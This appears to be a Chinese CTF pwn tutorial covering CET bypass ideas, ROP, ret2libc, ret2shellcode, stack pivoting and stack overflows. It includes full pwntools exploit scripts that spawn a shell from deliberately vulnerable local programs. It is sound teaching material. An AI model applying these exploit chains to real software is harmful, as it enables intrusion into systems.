CET 使操作系统能够创建⼀个 shadow stack (影⼦栈)。正常情况下,当执⾏ call 指令时,会将 call 指令后⼀条指令地址压栈。当启⽤了 shadow stack 后,会同时在普通数据栈和 shadow stack 中压⼊返回地址,随后在执⾏ ret 返回时,会将 shadow stack 中的返回地址和普通数据栈中的返回地址做对⽐,如匹配,则正常执⾏,如不匹配,则触发#CP(Controlflow Protection) 异常。

可以理解为canary Plus Pro max。 :)


IBT(CET-IBT)

JOP/COP 攻击⼿法与 ROP 类似,只不过是把 ROP 中以 ret 指令做跳板的关键点替换成了 call/jmp 指令。这⼀指令序列,这就是 COP 中的 gadget ,以 call 指令为跳板,也就不需要 ret 指令的辅助了。这种不需要 ret 指令的攻击场景下,前⾯所说的 shadow stack 机制就失效了。这种情况下, CET 的第⼆种机制 IBT(Indirect Branch Tracking) 就应运⽽⽣了。

IBT(Indirect Branch Tracking),间接跳转跟踪"希望能防止攻击者让间接跳转(例如,通过指针变量进行的函数调用)进入一个不应该走到的地方。功守道之中是为了应对JOP/COP的。

IBT 是为了防御面向跳转编程的(jump-oriented programming);工作原理是试图确保每个 indirect branch 的目标确实都是适合作为跳转目标的。IBT 的方法有很多,每一种都有自己的优势和劣势。例如,内核在 5.13 开发周期中支持了编译器实现的 IBT 机制。在这种模式下,编译器通过一个 "jump table, 跳转表" 来完成每一个间接跳转,不仅确保目标是要供间接跳转使用的,而且要确保被调用函数的原型与调用者所期望的一致。这种方法是很有效的,但要增加很多编译、运行时的开销

英特尔的 IBT 方法相当简单,但优点是得到了硬件的支持,因此速度更快.如果 IBT 被启用,那么 CPU 将确保每个间接跳转都落在一条特殊指令(endbr32 或 endbr64)上,该指令执行时跟 no-op 效果一致。如果发现意外,那么处理器将引发一次 control-protection(#CP)exception。

维度 CFI(广义) IBT(Intel 实现)
实现层级 软件(编译器插桩) + 可选硬件 纯硬件(CPU)
粒度 粗粒度(按函数类型)或细粒度(按地址) 细粒度,基于指令标记
性能开销 较高(软件检查) 很低(硬件原生执行)
兼容性 需要重新编译 需要编译器生成 endbr64,操作系统启用

要注意的是IBT是intel对CFI的硬件实现
维度 CFI(广义) IBT(Intel 实现)
实现层级 软件(编译器插桩) + 可选硬件 纯硬件(CPU)
粒度 粗粒度(按函数类型)或细粒度(按地址) 细粒度,基于指令标记
性能开销 较高(软件检查) 很低(硬件原生执行)
兼容性 需要重新编译 需要编译器生成 endbr64,操作系统启用

传统的软件 CFI(如 LLVM CFI)会在间接调用前插入检查代码;而 IBT 将这些检查下沉到 CPU 流水线,既降低了开销,也避免了软件实现可能被绕过的问题。

对于CET的绕过我们有:

1.经典绕过:COOP(伪造对象编程)

这是目前最被广泛研究的方案。其核心思路是:既然你保护“返回地址”,那我就不返回了。

原理:CET的影子栈主要防御后向边缘(RET指令)。COOP完全不碰返回地址,而是通过劫持C++对象的虚表指针,将程序流导向攻击者精心构造的“假对象”和合法函数中的特定指令序列(vfgadget)。

效果:由于执行流始终通过合法的CALL指令进入函数(带有ENDBR64),且不触发RET校验,因此可以完美绕过Intel CET的硬件防御。

2.硬件特性滥用:Shadow Stack 迁移

这是利用 CET 自身的管理指令(RSTORSSP)进行的“降维打击”。

  • 原理:如果攻击者能通过漏洞(如任意写)构造一块伪造的影子栈内存,并执行RSTORSSP指令,就能让 CPU 切换使用这块攻击者控制的影子栈。
  • 后果:一旦切换到伪造栈,原本的返回地址校验就形同虚设,攻击者可以直接在伪造栈上布置 ROP 链。这属于利用合法硬件指令做非法操作。

3.语义层攻击:全局函数指针劫持

这是一种学术界的自动化攻击方案(如工具 Untangle)。

  • 原理:CET 只保证跳转目标以ENDBR64开头,但不保证“该函数是否应该在此处被调用”。该方案通过静态分析,自动寻找那些可以被外部调用的全局函数指针。
  • 特点:将目标函数指针篡改为满足调用条件的其他合法函数,利用合法函数间的调用关系实现任意代码执行。

4.利用机制缺陷:WRSS 指令

  • 原理:Intel CET 有一条特殊指令 WRSS,允许在特定模式下直接写入影子栈。虽然正常情况下 WRSS 是被禁用的,但如果系统配置失误或存在结合其他漏洞,攻击者可以直接覆盖影子栈中的返回地址。

总结与现状

虽然存在上述绕过方案,但利用门槛依然很高 :( :

  • COOP 依赖环境:需要目标程序使用 C++ 且存在复杂的虚函数调用链。
  • 硬件特性利用:RSTORSSP 和 WRSS 需要特定的内存布局和权限,实战难度极大。
  • 业界现状:目前尚未出现大规模的在野利用,CET 依然极大地提高了漏洞利用的成本。

在CTF中也很少出现关于CET的题目,读者仅需做一个了解即可 qwq


总结

常见保护组合与绕过速查表

保护 作用对象 绕过方案
Canary 栈溢出 泄露地址,爆破
ASLR libc,heap地址 泄露地址,partial write,爆破
PIE 程序地址 泄露计算,爆破,partial write
NX 内存段 ROP,mprotect,迁移 shellcode
RELRO 延时绑定技术,.plt.got 劫持数据流(虚表、栈)
CET(SS+IBT) ret / 间接跳转 COOP、影子栈迁移(高难度)

补充说明

GCC默认开启:PIE、NX、Partial RELRO
GCC默认不开启:Canary(需 -fstack-protector)
ASLR 是系统级设置,与编译选项无关


Hc Pwn ROP (`docs/hc-pwn/ROP.md`)


comments: true


前面我们已经知道了可以通过覆盖返回地址控制程序流,但是只能实现使程序执行到某一个地址继续执行,还不能实现复杂的逻辑。接下来,就一起来看看如何基于覆盖返回地址实现复杂逻辑。

面向返回编程(ROP)

ROP原理

ROP的主要目的便是通过在合适的位置布置一连串的返回地址,从而实现相对复杂的逻辑。举个栗子,我们已经在 Stack_Overflow 中学习到了如何劫持返回地址,但是我们所做的只是一个跳转至“后门函数”,其距离可以真正劫持到恶意代码上还有很远的路要走,而ROP就是一种解决方案,其通过精心布局栈上的地址来完成复杂逻辑的跳转

32位 ROP

一切,先从32位的ROP开始,其实大部分教材都是从64位开始的,但是64位开始会给新手在参数传递的过程中带来一定的迷惑性,因此我们从32位开始,先让我们回到ret之前的操作,假设溢出处的汇编指令如下

asm
0x400000 func:
0x400000    mov eax, 0xdeadbeef
0x400004    ret
0x400005 main:
0x400005    call func
0x400009    mov eax, 0
0x40000b    ret

并且我们的栈帧如下图所示:

地址 值 如果值为指针,其指向的地址 RSP
0x0000000c 0x400005 mov eax, 0 <-
0x00000008 0x00000000 0x00000000
0x00000004 0x00000000 0x00000000
0x00000000 0x00000000 0x00000000

按照正常情况下,进行返回,如果劫持返回,我们其实已经知道,很简单,溢出修改0x000000c 处的值使得 0x400005变成我们想要的地址即可,但是其只能干最简单的事情,想要真正劫持程序需要的是什么?当然是getshell了,那么在二进制如何getshell?当然是 system("/bin/sh") 了!

现在假设system的地址是0xf7000000,那么我们理所当然想要将 0x400005 修改为 0xf7000000,于是问题就出现了,"/bin/sh"从哪来?

还是先假设,"/bin/sh"的地址是0xdeadbeef

那么我们就需要在ROP的时候将0xdeadbeef传递给0xf7000000,但是怎么传???一脸问号是吧,既然ROP很难理解,不妨我们回到最开始,来看看函数调用的过程中32位下是如何传递参数的

考虑一个参数的函数foo,我们想要调用foo(233),汇编应该是这样的

asm
push 233
call foo
nop

我们来看看这个过程中函数栈帧的变化

地址 值 如果值为指针,其指向的地址 RSP
0x0000000c 0 <-
0x00000008 0
0x00000004 0
0x00000000 0

首先第一步 push 233,其实就是将233压入栈中

地址 值 如果值为指针,其指向的地址 RSP
0x0000000c 0
0x00000008 233 <-
0x00000004 0
0x00000000 0

第二步 call foo,其实就是将当前的返回地址压入栈中,然后跳转到foo函数

地址 值 如果值为指针,其指向的地址 RSP
0x0000000c 0
0x00000008 233
0x00000004 call foo的下一条指令 nop <-
0x00000000 0

好,到此为止,大家思考一个问题,是不是当foo函数返回的时候(即ret指令执行的时候),RSP(ESP)应该也在这个位置,想明白了就继续往下看,没想明白就先想想

现在这一瞬间,是foo开始执行的时候,RSP(ESP)指向返回地址,而它需要的参数位于RSP + 4的位置,是否意味着,如果我们通过ROP劫持返回地址到foo的时候,我们应该确保进入foo函数的瞬间 RSP + 4的位置应该是它的第一个参数?同时RSP为foo的返回地址

最后,我们将foo函数看做是system函数,是不是意味着,如果我们想要通过ROP劫持返回地址到system的时候,我们应该确保进入system函数的瞬间 RSP + 4的位置应该是它的第一个参数?同时RSP为system的返回地址

那么回到最开始,我们想要劫持返回地址到system,我们应该怎么做呢?
我们只需要将栈给覆写成下面这样就好了

地址 值 如果值为指针,其指向的地址 RSP
0x00000014 0xdeadbeef "/bin/sh"
0x00000010 0x00000000 空
0x0000000c 0xf7000000 system的开始 <-
0x00000008 0x00000000
0x00000004 0x00000000
0x00000000 0x00000000

这样,当存在漏洞的函数执行ret命令时,首先会因为ret返回到system,此时RSP指向了0x00000010其为system的返回值,但是因此我们已经进入了system函数,因此system要返回到哪里去与我们无关,我们getshell了就行了,不需要下一步了。而此时,RSP + 4为"/bin/sh",其就理所当然地成为了system的第一个参数,从而getshell成功

那么,以上的所有事情,前提都是我们知道system的地址和"/bin/sh"的地址,那么我们如何知道这两个地址呢?这就需要我们去寻找gadget了,这个在后文中我们再讨论,现在我们先讨论如果需要在ROP中按顺序调用多个函数的情况

其实你也猜到了,我们之前劫持到system的时候还有个system的返回地址是留空的没有使用呢,其实只需要将这个留空改成下一个函数的地址就好了,这样就可以实现按顺序调用多个函数,至于传参,这是一个大坑,之后填

64位 ROP

64位的ROP在我看来,其实比32位的简单多了,因为64位的参数传递是通过寄存器传递的,我们只需要通过控制寄存器的值就可以实现参数传递,因此更多的是通过合适的手段将寄存器修改为我们想要传递的值

先阐述一个事实,在没那么新的gcc中,程序都会被编译进一个 _libc_init_csu函数用于初始化,在这个函数中,有一个汇编片段如下

asm
pop r15
ret

其中,pop r15占2字节,我们假设其起始地址为0x8,那么 ret的地址就是 0xa,那么问题来了,0x9这个地址,它是合法的吗?

事实上确实是合法的,而且很有用,如果从 0x9开始看这个代码片段,由于地址错位的问题,代码片段会变成这样

asm
pop rdi
ret

这个字节错位弄出来的代码片段,非常有用,因为其pop rdi这条指令,让我们有能力通过栈去修改寄存器了,而这个寄存器就是rdi,那么我们就可以通过栈去修改rdi的值,从而实现参数传递了

这些有用的代码片段,我们一般就称为gadget

来看看64位下怎么实现和32位一样的ROP吧,还是考虑返回到system("/bin/sh")

假设system的地址是0x7f000000,"/bin/sh"的地址是0xdeadbeef

现在覆盖栈如下

地址 值 如果值为指针,其指向的地址 RSP
0x00000018 0x7f000000 system的开始
0x00000010 0xdeadbeef "/bin/sh"
0x00000008 gadget pop rdi; ret <-

最后开始颅内模拟一下,首先,ret返回到pop rdi,此时RSP指向了0x00000010,而pop rdi会将0xdeadbeef赋给rdi,这个过程中,RSP指向了0x00000018, 然后ret返回到system,此时RSP指向了0x00000020,而system的第一个参数就是rdi,因此system的第一个参数就是0xdeadbeef,也就是 "/bin/sh",从而getshell成功,至于system的返回地址,我们不需要管,因为我们已经getshell了,但是如果你想实现按顺序调用多个函数,那么你就需要将0x00000020改成下一个函数的地址,这样就可以实现按顺序调用多个函数,至于多个参数的传递,这又是一个大坑,之后填

示例

以下面这个程序为例,目标是先后执行func1-func3

c
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>

void func1() { printf("func1 called\n"); }

void func2() { printf("func2 called\n"); }

void func3() { printf("func3 called\n"); }

int main() {
    char str[0x20];

    read(0, str, 0x50);

    return 0;
}

对应的exp脚本如下:

python
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

func1_address = elf.sym["func1"]
func2_address = elf.sym["func2"]
func3_address = elf.sym["func3"]

payload = b"A" * 0x28
payload += p64(func1_address)
payload += p64(func2_address)
payload += p64(func3_address)

p.send(payload)

p.interactive()

单看这个脚本可能会有点抽象,下面是栈帧变化的动画演示:

gadget

现在我们已经能够实现通过在合适的位置布置地址实现按照一定的顺序调用函数。但是这还不够精细,毕竟我们现在还很难控制调用这些函数时传递的参数(可以先了解一下Linux下C语言的调用约定)。这里就需要引入一个新的概念——gadget。

gadget在这里指的是以ret指令结尾的代码片段,例如leave; ret就是一个很常用的gadget。我们可以利用各种合适的gadget拼凑出需要的程序逻辑。

获取gadget

获取gadget可以使用工具ROPgadget获取到elf文件中的大部分gadget。如下图

结果可以结合grep工具进行搜索,不过我更推荐结合fzf使用,但是这个需要写shell脚本,下面这个是我自己用的shell脚本,能够快速搜索,并把搜索结果存入剪贴板(使用的shell为fish,显示服务器为wayland)

fish
function find_gadget -d "find gadget from binary file"
    set -l file $argv[1]
    set -l file_md5 (md5sum $file | cut -d ' ' -f 1)

    if ! test -f ./gadget-$file-$file_md5
        ROPgadget --binary $file > ./gadget-$file-$file_md5
    end
    
    set -l result (cat ./gadget-$file-$file_md5 | fzf)

    if test -z $result
        echo "No gadget selected."
        return
    end

    set -l addr (string sub --length 18 $result)

    wl-copy $addr

    echo "The offset of gadget '$result' has been saved to the clipboard."
end

示例

以下面这个程序为例,目的是让程序输出Hello, World!:

c
#include <stdio.h>

char *str = "Hello, World!";

void func1() { puts("func1 called"); }

int main() {
    char str[0x20];

    read(0, str, 0x50);

    return 0;
}

对应的exp脚本如下:

python
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

puts_addr = elf.sym["puts"]
str_hello_world = 0x00402004
pop_rdi_ret = 0x0000000000401203

payload = b"A" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(str_hello_world)
payload += p64(puts_addr)

p.send(payload)

p.interactive()

栈帧变化的动画演示:


Hc Pwn ROP Tricks (`docs/hc-pwn/ROP_Tricks.md`)


comments: true


前言

前面我们已经了解了基本的ROP原理,这一章主要整合了常用的ROP技巧。(这里仅仅是记录了我所知的技巧,欢迎各位师傅补充)

ret2xxx系列

学习ROP的过程中经常会看到如ret2text,ret2libc,ret2syscall等利用手法,ret2后面的内容便是ROP链中各种函数,gadget的来源。

注意:这些并不是某个完整的利用方法,而是某个完整的利用方法的一部分

ret2text

ret2text就是利用下图中ELF部分中储存可执行代码的部分(即.text段),如前一章中的ROP的例子便是ret2text

ret2libc

ret2libc则是用dynamic link libraries中的gadget(虽然这个利用方法叫做ret2libc,但是所有连接进来的动态链接库都可以作为gadget的来源)

ret2libc和ret2text类似,但是由于动态链接库的特性所致,在利用时多出了一步,便是泄漏动态链接库的基地址。关于泄漏基地址,这里就要引入两个关于链接库装载的表,got表和plt表。这里就不详细解释了,仅仅是简单的讲讲其基本的工作流程。

因为动态链接库的加载时的基地址是随机的,所以当程序调用动态链接库中的函数的时候,实际是转跳到预留在程序中的函数入口,即plt。而执行到plt中后,会先检查对应的函数是否已经加载,如果已经加载,则根据got表中记录的地址转跳实际的函数地址。否则先调用加载函数(加载后的函数的地址记录在got表中),再转跳到对应的函数。大致的流程图如下:

由此,我们可以知道加载之后的函数地址储存在got表中,那么我们就可以想办法将got表中的内容输出出来,然后减去偏移,从而实现泄漏动态链接库的基地址(这里计算基地址的原理是动态链接库的加载也是通过映射文件实现的,一个链接库映射到一段连续的内存空间)。拿到基地址之后我们就可以加上偏移获得所需函数或者gadget。

以下面这个程序为例,目标是获取shell

c
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>

int main() {
    char str[0x20];
    puts("Hello, world!");

    read(0, str, 0x100);

    return 0;
}

可以得到如下脚本:

python
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x00000000004011F3

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

main_addr = elf.sym["main"]

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.send(payload)

puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

gdb.attach(p)
p.send(payload)

p.interactive()

但是通过调试会发现程序会在执行到下图这个阶段的时候无法正常执行。这个是因为xmm0等寄存器是128位的,当往内存里存取值的时候,指针需要对齐到0x10,而此时rsp + 0x50的末位为8,并没有对齐,最终导致程序异常。

解决方法也很简单,只需在payload中加一个ret即可(具体原理就留给大家自己思考了)。最终脚本如下:

python
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x00000000004011F3
ret = 0x000000000040101A

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

main_addr = elf.sym["main"]

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.send(payload)

puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

gdb.attach(p)
p.send(payload)

p.interactive()

下图就是栈帧的变化过程:

ret2shellcode

如果程序的内存中有一段可写且可执行的内存的话(如没开NX保护时的栈,mmap申请出来的内存空间,mprotect修改权限后的内存等),可以通过提前向其中写入shellcode,然后再通过控制返回地址使程序执行shellcode。

ret2shellcode一般用于没开NX保护或需要实现的功能比较的复杂时使用(如反弹shell)。具体如何通过栈溢出控制程序流执行shellcode这里就不过多分析了,这里主要讲讲如何生成shellcode。以下面这个程序为例(目标是获取shell):这个程序首先通过mmap申请了一块有执行权限的内存,起始地址为0xdead0000,然后通过read读入内容,同时后面还有一个栈溢出。

c
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>
#include <stdlib.h>

int main() {
    mmap(0xdead0000, 0x1000, 7, 0x21, -1, 0);

    char *p = (char *)0xdead0000;
    char str[0x20];

    read(0, p, 0x1000);

    read(0, str, 0x50);

    return 0;
}

对应的exp:

python
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

p.send(asm(shellcraft.sh()).ljust(0x1000, b"\x00"))

payload = b"A" * 0x38
payload += p64(0xDEAD0000)
p.send(payload)

p.interactive()

上面这个exp中,shellcraft.sh()函数用于生成获取shell的shellcode的汇编指令,而asm函数用于将汇编指令转化为机器码。

ret2syscall

咕咕咕

感觉用得不多,继续咕咕咕

栈迁移

栈迁移算是栈利用的核心和难点之一,个人认为学习栈迁移存在难度是主要因为栈寄存器的不断变换比较的难以理清楚思路。

原理

对于栈迁移,一般是利用于栈的溢出空间不够的情况,通常需要想办法在另一个区域构造好payload,如ROP链,然后将栈迁移过去执行ROP链。

那么要怎么进行栈迁移呢?我们先来回顾一下x86_64的函数调用流程。这里直接用栈溢出那一章的示例(从call开始):

asm
test:
    push    rbp
    mov     rbp, rsp
    sub     rsp, 16
    ...
    leave
    ret
main:
    ...
    call    test
    ...

这一段汇编对应的栈帧变化如下:

这里我们重点观察命令执行到leave; ret时的行为:

  1. RSP移到RBP的位置(mov rsp, rbp)
  2. RBP返回上一个栈帧的栈底(pop rbp)
  3. RIP返回call指令之后继续执行(pop rip)

这里面前两个行为对应leave,最后一个行为对应ret,拆分后的动图如下(从leave开始):

修正:图中对leave拆解的部分的pop rsp应为pop rbp)

由此我们可以得出,通过控制上一栈帧的栈底地址(即图中黄色的部分的值)就可以控制RBP,而控制了RBP就能通过再次执行leave控制RSP,完成RSP和RBP控制之后,栈迁移就完成了,对于ROP链控制了RSP就足够了。

还是这个例子,假设test中发生了溢出,刚好覆盖了上一栈帧的栈底地址和返回地址。

栈迁移入门

入门难度的栈迁移一般是能够直接往已知地址的内存空间提前写入payload,就比如下面的这个示例。

c
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>

char buf[0x1000];

int main() {
    char str[0x20];
    puts("Read 1");

    read(0, buf, 0x1000);
    
    puts("Read 2");
    
    read(0, str, 0x30);

    return 0;
}

编译后的结果如下(可能会因为系统不同而有所不同):

第一次读取是写入0x00404060处的内存。

而第二次是往rbp-0x20的位置写入0x30长度的字符串。

对于这个示例,对应的exp如下:

python
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

context.log_level = "debug"
context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")
libc = ELF("./libc-2.31.so")

pop_rdi   = 0x0000000000401223
leave_ret = 0x00000000004011b5
ret       = 0x000000000040101a

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

main_addr = elf.sym["main"]

payload = flat({
    0xE00:[
        p64(0xdeadbeef),        # padding
        p64(pop_rdi),
        p64(puts_got),
        p64(puts_plt),
        p64(main_addr)
    ]
})

p.sendafter(b"Read 1\n", payload)

payload = flat({
    0x20: [
        p64(0x404E60),
        p64(leave_ret),
    ]
})

p.sendafter(b"Read 2\n", payload)

puts_addr = u64(p.recv(6).ljust(8, b"\x00"))
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
log.success("libc_base: " + hex(libc_base))

pop_rsi     = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119431
binsh_addr  = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.sym["system"]

payload = flat({
    0x600: [
        p64(0xdeadbeef),        # padding
        p64(pop_rdi),
        p64(binsh_addr),
        p64(ret),
        p64(system_addr),
    ]
})

gdb.attach(p)
p.sendafter(b"Read 1\n", payload)

payload = flat({
    0x20: [
        p64(0x404660),
        p64(leave_ret),
    ]
})

p.sendafter(b"Read 2\n", payload)


p.interactive()

[!TIP]

在栈迁移的环境下通过ROP调用system函数时,需要注意system函数需要大量的栈空间,栈顶(低地址)一侧需要 预留0x600字节以上 的栈空间。

对于这个exp,第一次栈迁移泄露libc基地址的栈帧的变化如下,第二次栈迁移调用system同理,这里不重复演示了(从第一次call read开始):

栈迁移进阶

栈迁移在进一步就是只能往栈上写入payload,就比如下面的这个示例。

c
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>

char buf[0x3000]; // 让.bss有足够的空间。

int main() {
    char str[0x1000];
    puts("Read 1");

    read(0, str, 0x1010);

    return 0;
}

编译后的结果如下:

这里只有一次往rbp-0x1000的位置写入0x1010长度的内容的机会。很显然,这里无法提供足够的空间构造ROP链,也没机会提前写入ROP链。

那么真的没办法了吗?

我们先来回想一下栈迁移的流程,通过函数结尾leave控制RBP寄存器,然后通过再次leave控制RSP寄存器。同时我们再看上面的汇编中的read:

很显然,这里read指向缓冲区的指针是使用RBP计算得出的。所以控制了RBP之后就可以实现任意地址写了,通过任意地址写写入ROP链之后,就可以再次通过栈迁移实现执行ROP链。

对应的exp如下(只到泄露libc,getshell原理一样):

python
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

context.log_level = "debug"
context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")
libc = ELF("./libc-2.31.so")

pop_rdi   = 0x0000000000401203
leave_ret = 0x0000000000401199
ret       = 0x000000000040101a

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

main_addr = elf.sym["main"]

read_addr = 0x00401176

payload = flat({
    0x1000: [
        p64(0x00405500),
        p64(read_addr)
    ]
})

p.sendafter(b"Read 1\n", payload)

payload = flat({
    0x00: [
        p64(0xdeadbeef),
        p64(pop_rdi),
        p64(puts_got),
        p64(puts_plt),
    ],
    0x1000: [
        p64(0x00404500),
        p64(leave_ret),
    ]
})

p.send(payload)

puts_addr = u64(p.recv(6).ljust(8, b"\x00"))
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
log.success("libc_base: " + hex(libc_base))

p.interactive()

对于栈帧的变化如下:

堆与栈迁移

用setcontext开头的一个一段gadget可以控制大部分寄存器,其中就包括RSP寄存器。

具体用法:

咕咕咕


Hc Pwn Stack Overflow (`docs/hc-pwn/Stack_Overflow.md`)


comments: true


在学习C语言的过程中,使用数组,字符串(可以理解为特殊的数组)时,都会注意下标是否会越界,以保证程序正常运行。而在这里,我们将会反其道而行之,探索栈溢出或栈上数组越界时会发生什么,以及怎么利用这些漏洞实现攻击。

前置知识

注:以下内容推荐有C语言基础,且了解基本的数据结构的同学阅读,建议先简单了解Linux系统可执行程序的装载之后阅读。文中的代码需在Linux环境下,使用gcc编译得到,代码块第一行为编译参数。

虚拟地址空间(以Linux为例)

在现代的操作系统中,每个进程都有一个独立,连续的虚拟地址空间,而虚拟地址空间是按页(4k大小)与物理内存一一对应,按需分配。用户态的程序基本只能接触的虚拟地址空间,对内存的操作也基本是对虚拟地址空间的操作。

下图即为Linux系统基本的虚拟地址空间的结构

kernel space为系统内核的内存映射

stack为进程的栈内存

dynamic link libraries为动态链接库的内存映射

heap为堆内存

ELF为可执行程序的内存映射

GAP为未使用的空白内存

基本的栈帧结构(以x64的栈为例)

在C语言中,函数的临时变量是储存于栈上的。栈的增长方向是高地址向低地址,栈底在高地址一侧。

每个函数有自己对应的栈帧,下图为栈帧的基本结构。

RBP为栈底寄存器,RSP为栈顶寄存器,分别记录了栈帧中记录数据部分的起始和终止地址。函数的临时变量的在内存中的位置都是通过这两个寄存器加减偏移确定的。

栈底分别还记录了上一个栈帧的RBP的值,以及函数的返回地址。

函数调用与栈帧变化

前面提到了函数的临时变量是存在栈上的,这里就来了解一下函数调用时栈帧的压栈和出栈过程。

以下面这个代码为例

c
#include <stdio.h>

void test() {
    char* str = "Hello World!";
}

int main() {
    test();
    return 0;
}

这段代码对应的汇编大致如下(省略函数的具体细节,仅仅保留了调用相关内容)

其中call test可以近似理解为push addr_after_call; jmp test,leave可以近似理解为mov rsp, rbp; pop rbp,ret可以近似理解为pop rip

asm
test:
	push	rbp
	mov	    rbp, rsp
	sub 	rsp, 16
    ...
	leave
	ret
main:
	...
	call	test
	...

对应的栈帧变化如下(添加底色的汇编指令为即将执行的指令,call test为GIF的开始)

数组越界

在开始之前,先明白一个东西:C语言是一个非常自由的语言,除了语法外对你基本没有限制。

通过越界读取栈上的内容

看下面这个程序,很明显,第二个for循环中存在数组越界。

c
// gcc -no-pie -fno-stack-protector -g test.c
#include <stdio.h>

int main() {
    unsigned long long arr[10];

    for (int i = 0; i < 10; i++) {
        arr[i] = 0xdeadbeef;
    }

    for (int i = 0; i < 12; i++) {
        printf("arr[%d] = 0x%llx\n", i, arr[i]);
    }

    return 0;
}

下图即为这段程序的输出。

可以看到程序并没有出现异常退出的情况,同时arr[10]和arr[11]也读出了数据。这里,我们可以通过gdb看看arr[10]和arr[11]对应的是什么东西。

下图即为gdb的一些调试信息,其中arr[10]的地址对应为&arr + 10 * 8,由此可以看出C语言自身其实并没有限制下标的范围,而是直接根据数组的基地址计算对应下标的元素的基地址。

现在我们可以通过数组越界读到栈上的内容,我们继续尝试通过数组越界来往栈上写东西。

通过越界篡改栈上的内容

我们看下面这个程序,arr[11] = 0xcafebabe;存在数组越界。

c
// gcc -no-pie -fno-stack-protector -g test.c
#include <stdio.h>

int main() {
    unsigned long long arr[10];
    unsigned long long var = 0xdeadbeef;

    printf("var = %llx\n", var);

    arr[11] = 0xcafebabe;

    printf("var = %llx\n", var);

    return 0;
}

下图即为这段程序的输出。可以发现var的值被成功修改了。

通过越界控制程序流

现在我们可以用非法的方式任意读写栈上的内容了,我们继续拓展,接下来我们要通过非法的方式控制程序的执行流。

控制程序流的本质就是控制rip寄存器。那么,栈上有什么东西能影响rip寄存器呢?联系前面的栈帧的结构,可以结合栈上的返回地址和ret指令实现控制rip寄存器。

下面这个程序的目的是通过arr下标越界控制程序流。

c
// gcc -no-pie -fno-stack-protector -g test.c
#include <stdio.h>

void func() { printf("func called.\n"); }

int main() {
    unsigned long long arr[10];

    arr[11] = (unsigned long long)func;

    return 0;
}

下图为程序的运行结果。

上面的程序对应的汇编大致如下:

asm
func:
	...
main:
	push	rbp
	mov 	rbp, rsp
	sub 	rsp, 0x50
	lea 	rax, [func]
	mov 	qword ptr [rbp + 8], rax
	mov 	eax, 0
	leave
	ret

对应的栈帧变化如下(添加底色的汇编指令为即将执行的指令,lea rax, [func]为GIF的开始)

字符串栈溢出

字符串栈溢出基本原理

字符串可以理解为特殊的数组,所以字符串也有与数组类似的特性(编译和运行时并不会检查字符串的长度)。在字符串栈溢出的漏洞多数是由gets,scanf,read等输入函数以及memcpy,strcpy等string.h库中的函数没有正常处理字符串长度造成的。

这里以read为例,下面段代码中str的长度为0x20,而read能够读取0x50的字符串。

c
// gcc -no-pie -fno-stack-protector -g test.c
#include <stdio.h>

void func() { printf("func called\n"); }

int main() {
    char str[0x20];

    read(0, str, 0x50);

    return 0;
}

下图为程序的运行结果,可以看到程序是因为异常退出的。

上面的程序对应的汇编大致如下:

asm
func:
	...
main:
	push	rbp
	mov 	rbp, rsp
	sub 	rsp, 0x20
	lea 	rax, [rbp-0x20]
	mov 	edx, 0x50
	mov 	rsi, rax
	mov 	edi, 0
	mov 	eax, 0
	call	read
	mov 	eax, 0
	leave
	ret

